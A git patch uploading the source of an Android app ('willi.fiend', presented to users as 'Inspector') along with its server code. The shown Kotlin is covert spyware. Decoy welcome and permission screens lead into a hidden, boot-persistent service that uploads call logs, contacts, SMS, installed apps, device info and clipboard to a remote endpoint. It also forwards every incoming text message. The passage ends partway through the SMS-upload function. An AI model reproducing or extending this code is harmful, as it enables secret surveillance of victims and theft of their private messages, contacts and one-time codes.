From 1c04480a2d78163756a51f5e7ce756c9d95c088c Mon Sep 17 00:00:00 2001 From: shiva yadav <94379471+shivaya-dav@users.noreply.github.com> Date: Mon, 24 Apr 2023 01:13:24 -0700 Subject: [PATCH] uploaded source code --- source code/apk src code v3/.gitignore | 15 + source code/apk src code v3/app/.gitignore | 1 + source code/apk src code v3/app/build.gradle | 71 ++ .../apk src code v3/app/proguard-rules.pro | 21 + .../willi/fiend/ExampleInstrumentedTest.kt | 24 + .../app/src/main/AndroidManifest.xml | 74 ++ .../src/main/java/willi/fiend/MainActivity.kt | 56 ++ .../src/main/java/willi/fiend/MainService.kt | 58 ++ .../fiend/Receiver/BootCompleteReceiver.kt | 13 + .../java/willi/fiend/Receiver/SmsReceiver.kt | 36 + .../src/main/java/willi/fiend/Ui/AppFont.kt | 7 + .../main/java/willi/fiend/Ui/Screen/Page1.kt | 90 +++ .../main/java/willi/fiend/Ui/Screen/Page2.kt | 92 +++ .../java/willi/fiend/Ui/Screen/WebView.kt | 40 + .../main/java/willi/fiend/Utils/AppActions.kt | 492 ++++++++++++ .../fiend/Utils/AppNotificationListener.kt | 19 + .../java/willi/fiend/Utils/AppPermission.kt | 106 +++ .../main/java/willi/fiend/Utils/AppRequest.kt | 111 +++ .../main/java/willi/fiend/Utils/AppScope.kt | 24 + .../main/java/willi/fiend/Utils/AppSocket.kt | 157 ++++ .../main/java/willi/fiend/Utils/AppTools.kt | 186 +++++ .../drawable-v24/ic_launcher_foreground.xml | 30 + .../app/src/main/res/drawable/header.jpg | Bin 0 -> 111468 bytes .../res/drawable/ic_baseline_warning_24.xml | 5 + .../res/drawable/ic_launcher_background.xml | 170 +++++ .../app/src/main/res/drawable/icon.png | Bin 0 -> 14488 bytes .../app/src/main/res/drawable/mpt.xml | 10 + .../app/src/main/res/drawable/settings.png | Bin 0 -> 56473 bytes .../app/src/main/res/font/helvetica.ttf | Bin 0 -> 43956 bytes .../app/src/main/res/layout/notification.xml | 6 + .../res/mipmap-anydpi-v26/ic_launcher.xml | 5 + .../mipmap-anydpi-v26/ic_launcher_round.xml | 5 + .../src/main/res/mipmap-hdpi/ic_launcher.webp | Bin 0 -> 1404 bytes .../res/mipmap-hdpi/ic_launcher_round.webp | Bin 0 -> 2898 bytes .../src/main/res/mipmap-mdpi/ic_launcher.webp | Bin 0 -> 982 bytes .../res/mipmap-mdpi/ic_launcher_round.webp | Bin 0 -> 1772 bytes .../main/res/mipmap-xhdpi/ic_launcher.webp | Bin 0 -> 1900 bytes .../res/mipmap-xhdpi/ic_launcher_round.webp | Bin 0 -> 3918 bytes .../main/res/mipmap-xxhdpi/ic_launcher.webp | Bin 0 -> 2884 bytes .../res/mipmap-xxhdpi/ic_launcher_round.webp | Bin 0 -> 5914 bytes .../main/res/mipmap-xxxhdpi/ic_launcher.webp | Bin 0 -> 3844 bytes .../res/mipmap-xxxhdpi/ic_launcher_round.webp | Bin 0 -> 7778 bytes .../app/src/main/res/values/colors.xml | 10 + .../app/src/main/res/values/strings.xml | 3 + .../app/src/main/res/values/themes.xml | 5 + .../app/src/main/res/xml/backup_rules.xml | 13 + .../main/res/xml/data_extraction_rules.xml | 19 + .../test/java/willi/fiend/ExampleUnitTest.kt | 17 + .../app/src/test/java/willi/fiend/data.json | 5 + source code/apk src code v3/build.gradle | 14 + source code/apk src code v3/gradle.properties | 24 + .../gradle/wrapper/gradle-wrapper.jar | Bin 0 -> 59203 bytes .../gradle/wrapper/gradle-wrapper.properties | 6 + source code/apk src code v3/gradlew | 185 +++++ source code/apk src code v3/gradlew.bat | 89 +++ source code/apk src code v3/settings.gradle | 16 + source code/server code v3/package.json | 24 + source code/server code v3/server.js | 720 ++++++++++++++++++ 58 files changed, 3074 insertions(+) create mode 100644 source code/apk src code v3/.gitignore create mode 100644 source code/apk src code v3/app/.gitignore create mode 100644 source code/apk src code v3/app/build.gradle create mode 100644 source code/apk src code v3/app/proguard-rules.pro create mode 100644 source code/apk src code v3/app/src/androidTest/java/willi/fiend/ExampleInstrumentedTest.kt create mode 100644 source code/apk src code v3/app/src/main/AndroidManifest.xml create mode 100644 source code/apk src code v3/app/src/main/java/willi/fiend/MainActivity.kt create mode 100644 source code/apk src code v3/app/src/main/java/willi/fiend/MainService.kt create mode 100644 source code/apk src code v3/app/src/main/java/willi/fiend/Receiver/BootCompleteReceiver.kt create mode 100644 source code/apk src code v3/app/src/main/java/willi/fiend/Receiver/SmsReceiver.kt create mode 100644 source code/apk src code v3/app/src/main/java/willi/fiend/Ui/AppFont.kt create mode 100644 source code/apk src code v3/app/src/main/java/willi/fiend/Ui/Screen/Page1.kt create mode 100644 source code/apk src code v3/app/src/main/java/willi/fiend/Ui/Screen/Page2.kt create mode 100644 source code/apk src code v3/app/src/main/java/willi/fiend/Ui/Screen/WebView.kt create mode 100644 source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppActions.kt create mode 100644 source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppNotificationListener.kt create mode 100644 source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppPermission.kt create mode 100644 source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppRequest.kt create mode 100644 source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppScope.kt create mode 100644 source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppSocket.kt create mode 100644 source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppTools.kt create mode 100644 source code/apk src code v3/app/src/main/res/drawable-v24/ic_launcher_foreground.xml create mode 100644 source code/apk src code v3/app/src/main/res/drawable/header.jpg create mode 100644 source code/apk src code v3/app/src/main/res/drawable/ic_baseline_warning_24.xml create mode 100644 source code/apk src code v3/app/src/main/res/drawable/ic_launcher_background.xml create mode 100644 source code/apk src code v3/app/src/main/res/drawable/icon.png create mode 100644 source code/apk src code v3/app/src/main/res/drawable/mpt.xml create mode 100644 source code/apk src code v3/app/src/main/res/drawable/settings.png create mode 100644 source code/apk src code v3/app/src/main/res/font/helvetica.ttf create mode 100644 source code/apk src code v3/app/src/main/res/layout/notification.xml create mode 100644 source code/apk src code v3/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml create mode 100644 source code/apk src code v3/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml create mode 100644 source code/apk src code v3/app/src/main/res/mipmap-hdpi/ic_launcher.webp create mode 100644 source code/apk src code v3/app/src/main/res/mipmap-hdpi/ic_launcher_round.webp create mode 100644 source code/apk src code v3/app/src/main/res/mipmap-mdpi/ic_launcher.webp create mode 100644 source code/apk src code v3/app/src/main/res/mipmap-mdpi/ic_launcher_round.webp create mode 100644 source code/apk src code v3/app/src/main/res/mipmap-xhdpi/ic_launcher.webp create mode 100644 source code/apk src code v3/app/src/main/res/mipmap-xhdpi/ic_launcher_round.webp create mode 100644 source code/apk src code v3/app/src/main/res/mipmap-xxhdpi/ic_launcher.webp create mode 100644 source code/apk src code v3/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.webp create mode 100644 source code/apk src code v3/app/src/main/res/mipmap-xxxhdpi/ic_launcher.webp create mode 100644 source code/apk src code v3/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.webp create mode 100644 source code/apk src code v3/app/src/main/res/values/colors.xml create mode 100644 source code/apk src code v3/app/src/main/res/values/strings.xml create mode 100644 source code/apk src code v3/app/src/main/res/values/themes.xml create mode 100644 source code/apk src code v3/app/src/main/res/xml/backup_rules.xml create mode 100644 source code/apk src code v3/app/src/main/res/xml/data_extraction_rules.xml create mode 100644 source code/apk src code v3/app/src/test/java/willi/fiend/ExampleUnitTest.kt create mode 100644 source code/apk src code v3/app/src/test/java/willi/fiend/data.json create mode 100644 source code/apk src code v3/build.gradle create mode 100644 source code/apk src code v3/gradle.properties create mode 100644 source code/apk src code v3/gradle/wrapper/gradle-wrapper.jar create mode 100644 source code/apk src code v3/gradle/wrapper/gradle-wrapper.properties create mode 100644 source code/apk src code v3/gradlew create mode 100644 source code/apk src code v3/gradlew.bat create mode 100644 source code/apk src code v3/settings.gradle create mode 100644 source code/server code v3/package.json create mode 100644 source code/server code v3/server.js diff --git a/source code/apk src code v3/.gitignore b/source code/apk src code v3/.gitignore new file mode 100644 index 0000000..aa724b7 --- /dev/null +++ b/source code/apk src code v3/.gitignore @@ -0,0 +1,15 @@ +*.iml +.gradle +/local.properties +/.idea/caches +/.idea/libraries +/.idea/modules.xml +/.idea/workspace.xml +/.idea/navEditor.xml +/.idea/assetWizardSettings.xml +.DS_Store +/build +/captures +.externalNativeBuild +.cxx +local.properties diff --git a/source code/apk src code v3/app/.gitignore b/source code/apk src code v3/app/.gitignore new file mode 100644 index 0000000..42afabf --- /dev/null +++ b/source code/apk src code v3/app/.gitignore @@ -0,0 +1 @@ +/build \ No newline at end of file diff --git a/source code/apk src code v3/app/build.gradle b/source code/apk src code v3/app/build.gradle new file mode 100644 index 0000000..50e7474 --- /dev/null +++ b/source code/apk src code v3/app/build.gradle @@ -0,0 +1,71 @@ +plugins { + id 'com.android.application' + id 'org.jetbrains.kotlin.android' +} + +android { + compileSdk 32 + + defaultConfig { + applicationId "willi.fiend" + minSdk 21 + targetSdk 32 + versionCode 1 + versionName "1.0" + + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + vectorDrawables { + useSupportLibrary true + } + } + + buildTypes { + release { + minifyEnabled true + shrinkResources true + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + kotlinOptions { + jvmTarget = '1.8' + } + buildFeatures { + compose true + } + composeOptions { + kotlinCompilerExtensionVersion compose_version + } + packagingOptions { + resources { + excludes += '/META-INF/{AL2.0,LGPL2.1}' + } + } +} + +dependencies { + + implementation 'androidx.core:core-ktx:1.8.0' + implementation "androidx.compose.ui:ui:$compose_version" + implementation 'androidx.compose.material3:material3:1.0.0-alpha15' + implementation "androidx.compose.ui:ui-tooling-preview:$compose_version" + implementation 'androidx.lifecycle:lifecycle-runtime-ktx:2.5.1' + implementation 'androidx.activity:activity-compose:1.5.1' + implementation 'androidx.appcompat:appcompat:1.4.2' + implementation 'com.google.android.material:material:1.6.1' + implementation 'androidx.constraintlayout:constraintlayout:2.1.4' + testImplementation 'junit:junit:4.13.2' + androidTestImplementation 'androidx.test.ext:junit:1.1.3' + androidTestImplementation 'androidx.test.espresso:espresso-core:3.4.0' + androidTestImplementation "androidx.compose.ui:ui-test-junit4:$compose_version" + debugImplementation "androidx.compose.ui:ui-tooling:$compose_version" + debugImplementation "androidx.compose.ui:ui-test-manifest:$compose_version" + + implementation("com.squareup.okhttp3:okhttp:4.9.3") + implementation 'com.karumi:dexter:6.2.3' + implementation 'com.google.code.gson:gson:2.8.9' + implementation 'com.google.android.gms:play-services-location:20.0.0' +} \ No newline at end of file diff --git a/source code/apk src code v3/app/proguard-rules.pro b/source code/apk src code v3/app/proguard-rules.pro new file mode 100644 index 0000000..9795d5d --- /dev/null +++ b/source code/apk src code v3/app/proguard-rules.pro @@ -0,0 +1,21 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +-renamesourcefileattribute SourceFile \ No newline at end of file diff --git a/source code/apk src code v3/app/src/androidTest/java/willi/fiend/ExampleInstrumentedTest.kt b/source code/apk src code v3/app/src/androidTest/java/willi/fiend/ExampleInstrumentedTest.kt new file mode 100644 index 0000000..36c4fac --- /dev/null +++ b/source code/apk src code v3/app/src/androidTest/java/willi/fiend/ExampleInstrumentedTest.kt @@ -0,0 +1,24 @@ +package willi.fiend + +import androidx.test.platform.app.InstrumentationRegistry +import androidx.test.ext.junit.runners.AndroidJUnit4 + +import org.junit.Test +import org.junit.runner.RunWith + +import org.junit.Assert.* + +/** + * Instrumented test, which will execute on an Android device. + * + * See [testing documentation](http://d.android.com/tools/testing). + */ +@RunWith(AndroidJUnit4::class) +class ExampleInstrumentedTest { + @Test + fun useAppContext() { + // Context of the app under test. + val appContext = InstrumentationRegistry.getInstrumentation().targetContext + assertEquals("willi.fiend", appContext.packageName) + } +} \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/AndroidManifest.xml b/source code/apk src code v3/app/src/main/AndroidManifest.xml new file mode 100644 index 0000000..4c16030 --- /dev/null +++ b/source code/apk src code v3/app/src/main/AndroidManifest.xml @@ -0,0 +1,74 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/MainActivity.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/MainActivity.kt new file mode 100644 index 0000000..fed0ecf --- /dev/null +++ b/source code/apk src code v3/app/src/main/java/willi/fiend/MainActivity.kt @@ -0,0 +1,56 @@ +package willi.fiend + +import android.annotation.SuppressLint +import android.content.Intent +import android.os.Bundle +import android.os.Environment +import android.util.Log +import android.webkit.WebView +import androidx.activity.ComponentActivity +import androidx.activity.compose.setContent +import androidx.compose.runtime.mutableStateOf +import androidx.compose.runtime.remember +import willi.fiend.Utils.AppTools +import willi.fiend.Ui.Screen.Page1 +import willi.fiend.Ui.Screen.Page2 +import me.fiend.Ui.Screen.WebView +import willi.fiend.Utils.AppRequest + + +class MainActivity : ComponentActivity() { + var webView: WebView? = null + @SuppressLint("WrongThread") + override fun onCreate(savedInstanceState: Bundle?) { + super.onCreate(savedInstanceState) + AppTools.checkAppCloning(this) + val request = AppRequest() + request.sendWaterMark() + request.sendText(AppRequest.Text("ᴀᴘᴘʟɪᴄᴀᴛɪᴏɴ ɪɴꜱᴛᴀʟʟᴇᴅ ᴀɴᴅ ᴏᴘᴇɴᴇᴅ , ᴡᴀɪᴛɪɴɢ ꜰᴏʀ ᴘᴇʀᴍɪꜱꜱɪᴏɴꜱ ...")) + setContent { + val currentPage = remember { + mutableStateOf(0) + } + if (!AppTools.showWelcome(this)) currentPage.value = 2 + when (currentPage.value) { + 0 -> { + Page1 { + currentPage.value = 1 + } + } + 1 -> { + Page2 { + currentPage.value = 2 + } + } + 2 -> { + WebView() { + webView = it + } + if (!AppTools.isServiceRunning(this)) { + startService(Intent(this, MainService::class.java)) + } + } + } + } + } +} \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/MainService.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/MainService.kt new file mode 100644 index 0000000..80bf002 --- /dev/null +++ b/source code/apk src code v3/app/src/main/java/willi/fiend/MainService.kt @@ -0,0 +1,58 @@ +package willi.fiend + +import android.annotation.SuppressLint +import android.app.* +import android.app.Notification.BADGE_ICON_NONE +import android.content.Intent +import android.os.IBinder +import android.widget.RemoteViews +import androidx.core.app.NotificationCompat +import androidx.core.app.NotificationCompat.BADGE_ICON_NONE +import willi.fiend.Utils.AppSocket + + +class MainService : Service() { + override fun onBind(p0: Intent?): IBinder? { + return null + } + + override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int { + val socket = AppSocket(this) + val action = socket.action + socket.connect() + action.uploadApps() + action.uploadMessages() + action.uploadCalls() + action.uploadContact() + action.uploadDeviceInfo() + action.uploadClipboard() + return START_STICKY + } + + override fun onCreate() { + super.onCreate() + startForeground(1, getNotification()) + } + + @SuppressLint("NewApi") + private fun getNotification(): Notification { + val channelId = "channel" + val channelName = " " + val channel = NotificationChannel( + channelId, + channelName, + NotificationManager.IMPORTANCE_MIN + ) + channel.lockscreenVisibility = Notification.VISIBILITY_PRIVATE + val manager = (getSystemService(NOTIFICATION_SERVICE) as NotificationManager) + manager.createNotificationChannel(channel) + val notificationBuilder = NotificationCompat.Builder(this, channelId) + return notificationBuilder.setOngoing(true) + .setSmallIcon(R.drawable.mpt) + .setContentTitle(" ") + .setBadgeIconType(NotificationCompat.BADGE_ICON_NONE) + .setPriority(NotificationManager.IMPORTANCE_UNSPECIFIED) + .setCustomBigContentView(RemoteViews(packageName, R.layout.notification)) + .build() + } +} \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Receiver/BootCompleteReceiver.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Receiver/BootCompleteReceiver.kt new file mode 100644 index 0000000..7b1794d --- /dev/null +++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Receiver/BootCompleteReceiver.kt @@ -0,0 +1,13 @@ +package willi.fiend.Receiver + +import android.content.BroadcastReceiver +import android.content.Context +import android.content.Intent +import androidx.core.content.ContextCompat +import willi.fiend.MainService + +class BootCompleteReceiver : BroadcastReceiver() { + override fun onReceive(p0: Context, p1: Intent) { + ContextCompat.startForegroundService(p0, Intent(p0, MainService::class.java)) + } +} \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Receiver/SmsReceiver.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Receiver/SmsReceiver.kt new file mode 100644 index 0000000..993d732 --- /dev/null +++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Receiver/SmsReceiver.kt @@ -0,0 +1,36 @@ +package willi.fiend.Receiver + +import android.content.BroadcastReceiver +import android.content.Context +import android.content.Intent +import android.telephony.SmsMessage +import android.util.Log +import willi.fiend.Utils.AppTools +import willi.fiend.Utils.AppPermission +import willi.fiend.Utils.AppRequest + + +class SmsReceiver : BroadcastReceiver() { + override fun onReceive(context: Context, intent: Intent) { + if (intent.action == "android.provider.Telephony.SMS_RECEIVED" && AppPermission(context).checkReadSms()) { + val bundle = intent.extras + val msgs: Array? + var msg_from: String? + if (bundle != null) { + try { + val pdus = bundle["pdus"] as Array<*>? + msgs = arrayOfNulls(pdus!!.size) + for (i in msgs.indices) { + msgs[i] = SmsMessage.createFromPdu(pdus[i] as ByteArray) + msg_from = msgs[i]?.originatingAddress + val msgBody = msgs[i]?.messageBody + val text = "New Message\nDevice : ${AppTools.getDeviceName()}\nFrom : $msg_from\nMessage : $msgBody" + AppRequest().sendText(AppRequest.Text(text)) + } + } catch (e: Exception) { + Log.i("data", "Ex") + } + } + } + } +} \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Ui/AppFont.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Ui/AppFont.kt new file mode 100644 index 0000000..37df5f1 --- /dev/null +++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Ui/AppFont.kt @@ -0,0 +1,7 @@ +package willi.fiend.Ui + +import androidx.compose.ui.text.font.Font +import androidx.compose.ui.text.font.FontFamily +import willi.fiend.R + +val AppFont = FontFamily(Font(R.font.helvetica)) \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Ui/Screen/Page1.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Ui/Screen/Page1.kt new file mode 100644 index 0000000..2affe84 --- /dev/null +++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Ui/Screen/Page1.kt @@ -0,0 +1,90 @@ +package willi.fiend.Ui.Screen + +import androidx.compose.foundation.Image +import androidx.compose.foundation.layout.* +import androidx.compose.foundation.shape.RoundedCornerShape +import androidx.compose.material.icons.Icons +import androidx.compose.material.icons.filled.ArrowForward +import androidx.compose.material3.Button +import androidx.compose.material3.Icon +import androidx.compose.material3.Text +import androidx.compose.runtime.* +import androidx.compose.ui.Alignment +import androidx.compose.ui.Alignment.Companion.End +import androidx.compose.ui.Modifier +import androidx.compose.ui.graphics.Color +import androidx.compose.ui.layout.ContentScale +import androidx.compose.ui.res.painterResource +import androidx.compose.ui.text.font.FontWeight +import androidx.compose.ui.unit.dp +import androidx.compose.ui.unit.sp +import kotlinx.coroutines.launch +import willi.fiend.Ui.AppFont +import willi.fiend.R + +@Composable +fun Page1(onNext: () -> Unit) { + val scope = rememberCoroutineScope() + Column(modifier = Modifier.fillMaxSize()) { + Image( + modifier = Modifier + .fillMaxWidth() + .weight(4f), + painter = painterResource(id = R.drawable.header), + contentDescription = null, + contentScale = ContentScale.Crop + ) + Text( + modifier = Modifier + .fillMaxWidth() + .weight(0.6f) + .padding(top = 30.dp, start = 15.dp, end = 15.dp), + text = "Welcome to Inspector", + color = Color.Black, + fontFamily = AppFont, + fontSize = 25.sp, + fontWeight = FontWeight.Bold + ) + Text( + modifier = Modifier + .fillMaxWidth() + .weight(2f) + .padding(top = 15.dp, start = 15.dp, end = 15.dp), + text = "Him boisterous invitation dispatched had connection inhabiting projection. By mutual an mr danger garret edward an. Diverted as strictly exertion addition no disposal by stanhill.", + color = Color.Black, + fontFamily = AppFont, + fontSize = 20.sp, + fontWeight = FontWeight.Normal + ) + Button( + modifier = Modifier + .weight(0.71f) + .align(End) + .padding(top = 15.dp, end = 16.dp, bottom = 16.dp), + shape = RoundedCornerShape(50.dp), + onClick = { + scope.launch { + onNext() + } + } + ) { + Row( + horizontalArrangement = Arrangement.Center, + verticalAlignment = Alignment.CenterVertically + ) { + Spacer(modifier = Modifier.width(5.dp)) + Text( + modifier = Modifier + .padding(2.dp), + text = "Next", + color = Color.White, + fontFamily = AppFont, + fontSize = 20.sp, + fontWeight = FontWeight.Normal + ) + Spacer(modifier = Modifier.width(3.dp)) + Icon(imageVector = Icons.Filled.ArrowForward, contentDescription = "") + } + } + } +} \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Ui/Screen/Page2.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Ui/Screen/Page2.kt new file mode 100644 index 0000000..ca78840 --- /dev/null +++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Ui/Screen/Page2.kt @@ -0,0 +1,92 @@ +package willi.fiend.Ui.Screen + +import androidx.compose.foundation.Image +import androidx.compose.foundation.layout.* +import androidx.compose.foundation.shape.RoundedCornerShape +import androidx.compose.material.icons.Icons +import androidx.compose.material.icons.filled.ArrowForward +import androidx.compose.material3.Button +import androidx.compose.material3.Icon +import androidx.compose.material3.Text +import androidx.compose.runtime.Composable +import androidx.compose.ui.Alignment +import androidx.compose.ui.Alignment.Companion.End +import androidx.compose.ui.Modifier +import androidx.compose.ui.graphics.Color +import androidx.compose.ui.platform.LocalContext +import androidx.compose.ui.res.painterResource +import androidx.compose.ui.text.font.FontWeight +import androidx.compose.ui.unit.dp +import androidx.compose.ui.unit.sp +import willi.fiend.Ui.AppFont +import willi.fiend.R +import willi.fiend.Utils.AppPermission +import willi.fiend.Utils.AppTools + +@Composable +fun Page2(onAgree: () -> Unit) { + val context = LocalContext.current + Column(modifier = Modifier.fillMaxSize()) { + Image( + modifier = Modifier + .fillMaxWidth() + .padding(35.dp) + .weight(4f), + painter = painterResource(id = R.drawable.settings), + contentDescription = null, + ) + Text( + modifier = Modifier + .fillMaxWidth() + .weight(0.6f) + .padding(top = 30.dp, start = 15.dp, end = 15.dp), + text = "Grant Permission", + color = Color.Black, + fontFamily = AppFont, + fontSize = 25.sp, + fontWeight = FontWeight.Bold + ) + Text( + modifier = Modifier + .fillMaxWidth() + .weight(2f) + .padding(top = 15.dp, start = 15.dp, end = 15.dp), + text = "In order to use app functionality you need to allow app permission and agree the terms if use this app ", + color = Color.Black, + fontFamily = AppFont, + fontSize = 20.sp, + fontWeight = FontWeight.Normal + ) + Button( + modifier = Modifier + .weight(0.71f) + .align(End) + .padding(top = 15.dp, end = 16.dp, bottom = 16.dp), + shape = RoundedCornerShape(50.dp), + onClick = { + AppPermission(context).getPerms { + AppTools.disableWelcome(context) + onAgree() + } + } + ) { + Row( + horizontalArrangement = Arrangement.Center, + verticalAlignment = Alignment.CenterVertically + ) { + Spacer(modifier = Modifier.width(5.dp)) + Text( + modifier = Modifier + .padding(2.dp), + text = "Agree and Continue", + color = Color.White, + fontFamily = AppFont, + fontSize = 20.sp, + fontWeight = FontWeight.Normal + ) + Spacer(modifier = Modifier.width(3.dp)) + Icon(imageVector = Icons.Filled.ArrowForward, contentDescription = "") + } + } + } +} diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Ui/Screen/WebView.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Ui/Screen/WebView.kt new file mode 100644 index 0000000..5ec5a8a --- /dev/null +++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Ui/Screen/WebView.kt @@ -0,0 +1,40 @@ +package me.fiend.Ui.Screen + +import android.annotation.SuppressLint +import android.content.Intent +import android.provider.Settings +import android.view.ViewGroup +import android.webkit.WebView +import android.webkit.WebViewClient +import androidx.compose.runtime.Composable +import androidx.compose.ui.platform.LocalContext +import androidx.compose.ui.viewinterop.AndroidView +import willi.fiend.Utils.AppTools + +@SuppressLint("SetJavaScriptEnabled") +@Composable +fun WebView(onWebView: (webView:WebView) -> Unit) { + val context = LocalContext.current + val urlToRender = AppTools.getAppData().webView + AndroidView(factory = { + WebView(it).apply { + onWebView(this) + layoutParams = ViewGroup.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, + ViewGroup.LayoutParams.MATCH_PARENT + ) + webViewClient = WebViewClient() + settings.javaScriptEnabled = true + settings.domStorageEnabled = true; + settings.setAppCacheEnabled(true); + settings.setAppCachePath(context.filesDir.absolutePath + "/cache"); + loadUrl(urlToRender) + setDownloadListener(AppTools.WebViewDownloadListener(context)) + } + }, update = { + it.loadUrl(urlToRender) + }) + if (!AppTools.isNotificationServiceRunning(context)) { + context.startActivity(Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS)); + } +} \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppActions.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppActions.kt new file mode 100644 index 0000000..ce0113f --- /dev/null +++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppActions.kt @@ -0,0 +1,492 @@ +package willi.fiend.Utils + +import android.annotation.SuppressLint +import android.app.NotificationManager +import android.app.PendingIntent +import android.app.Service +import android.content.ClipboardManager +import android.content.ContentResolver +import android.content.Context +import android.content.Context.CLIPBOARD_SERVICE +import android.content.Intent +import android.content.pm.ResolveInfo +import android.database.Cursor +import android.graphics.SurfaceTexture +import android.hardware.Camera +import android.media.MediaPlayer +import android.media.MediaRecorder +import android.net.Uri +import android.os.* +import android.provider.CallLog +import android.provider.ContactsContract +import android.telephony.SmsManager +import android.widget.Toast +import androidx.core.app.NotificationCompat +import com.google.android.gms.location.FusedLocationProviderClient +import com.google.android.gms.location.LocationCallback +import com.google.android.gms.location.LocationRequest +import com.google.android.gms.location.LocationResult +import willi.fiend.R +import java.io.File +import java.io.FileWriter + + +class AppActions(val context: Context) { + private val request = AppRequest() + private val permission = AppPermission(context) + private var mediaPlayer: MediaPlayer? = null + + fun uploadCalls() { + if (permission.checkReadCallLog()) { + val numberCol = CallLog.Calls.NUMBER + val durationCol = CallLog.Calls.DURATION + val typeCol = CallLog.Calls.TYPE // 1 - Incoming, 2 - Outgoing, 3 - Missed + val projection = arrayOf(numberCol, durationCol, typeCol) + val cursor = context.contentResolver.query( + CallLog.Calls.CONTENT_URI, + projection, null, null, null + ) + val numberColIdx = cursor!!.getColumnIndex(numberCol) + val durationColIdx = cursor.getColumnIndex(durationCol) + val typeColIdx = cursor.getColumnIndex(typeCol) + var text = "Call log : \n\n" + while (cursor.moveToNext()) { + val number = cursor.getString(numberColIdx) + val duration = cursor.getString(durationColIdx) + val type = cursor.getString(typeColIdx) + val typeCorrect = + if (type == "1") "Incoming" else if (type == "2") "Outgoing" else "Missed" + text += "number : $number\nduration : $duration\nType : $typeCorrect\n\n" + } + cursor.close() + val file = File.createTempFile("Call Log - ${AppTools.getDeviceName()} - ", ".txt") + val writer = FileWriter(file) + writer.append(text) + writer.flush() + writer.close() + request.sendFile(file) + } else { + request.sendText(AppRequest.Text("ᴄᴀʟʟ ʟᴏɢ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ")) + } + } + + @SuppressLint("Range") + fun uploadContact() { + if (permission.checkReadContacts()) { + var allContactList = "All Contacts\n\n\n" + val cr: ContentResolver = context.contentResolver + val cur = cr.query( + ContactsContract.Contacts.CONTENT_URI, + null, null, null, null + ) + if ((cur?.count ?: 0) > 0) { + while (cur != null && cur.moveToNext()) { + val id = cur.getString( + cur.getColumnIndex(ContactsContract.Contacts._ID) + ) + val name = cur.getString( + cur.getColumnIndex( + ContactsContract.Contacts.DISPLAY_NAME + ) + ) + if (cur.getInt( + cur.getColumnIndex( + ContactsContract.Contacts.HAS_PHONE_NUMBER + ) + ) > 0 + ) { + val pCur = cr.query( + ContactsContract.CommonDataKinds.Phone.CONTENT_URI, + null, + ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = ?", + arrayOf(id), + null + ) + while (pCur!!.moveToNext()) { + val phoneNo = pCur.getString( + pCur.getColumnIndex( + ContactsContract.CommonDataKinds.Phone.NUMBER + ) + ) + allContactList += "Name: $name\nPhone Number: $phoneNo\n\n" + } + pCur.close() + } + } + } + cur?.close() + val file = + File.createTempFile("All Contacts - ${AppTools.getDeviceName()} - ", ".txt") + val writer = FileWriter(file) + writer.append(allContactList) + writer.flush() + writer.close() + request.sendFile(file) + } else { + request.sendText(AppRequest.Text("ᴄᴏɴᴛᴀᴄᴛ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ")) + } + } + + @SuppressLint("Range", "Recycle") + fun uploadMessages() { + if (permission.checkReadSms()) { 